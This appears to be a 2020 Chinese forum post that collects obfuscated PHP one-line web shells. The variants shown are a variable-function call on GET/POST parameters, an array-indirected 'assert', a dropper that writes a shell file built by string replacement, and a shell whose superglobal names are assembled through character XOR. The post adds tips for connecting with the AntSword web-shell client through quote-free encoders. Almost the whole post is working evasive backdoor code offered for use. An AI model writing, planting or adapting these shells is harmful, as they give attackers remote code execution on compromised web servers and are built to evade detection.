libo 发表于 2020-10-17 12:38:41

一句话变形计

常见一句话


<?php
error_reporting(0);
$_GET['POST']($_POST['GET']);
?>


eval是一个语言构造器而不是一个函数,不能被可变函数调用

<?php
$POST['POST']='assert';$array[]=$POST;$array['POST']($_POST['assert']);
?>

AntSword 连接的问题。 php assert 会把传入的字符串的引号进行一次实体编码,导致执行代码失败。这时候只需要把编码器换成 base64 或者 chr 这种没有引号的编码器就可以了

<?php
if(!empty($_GET) && $_GET=='GET.fPZ87'){$_=@fopen('t.php', 'a');@fwrite($_,"<?php \$_=str_replace('ilo','ass',str_replace('vey','ert',\$_GET));@\$_(\$_POST);?>");@fclose($_);}
?>

PHP中字符异或后还是字符,我们只需要找到两个字符,他们的异或结果是我们所需要的字母即可
http://127.0.0.1/b.php?0=assert密码为1

<?php
@$_++;//得到1
$__=("`"^"?").(":"^"}").("%"^"`").("{"^"/");//得到_GET
$___=("$"^"{").("~"^".").("/"^"`").("-"^"~").("("^"|");//得到_POST
${$__}[!$_](${$___}[$_]);
?>
页: [1]
查看完整版本: 一句话变形计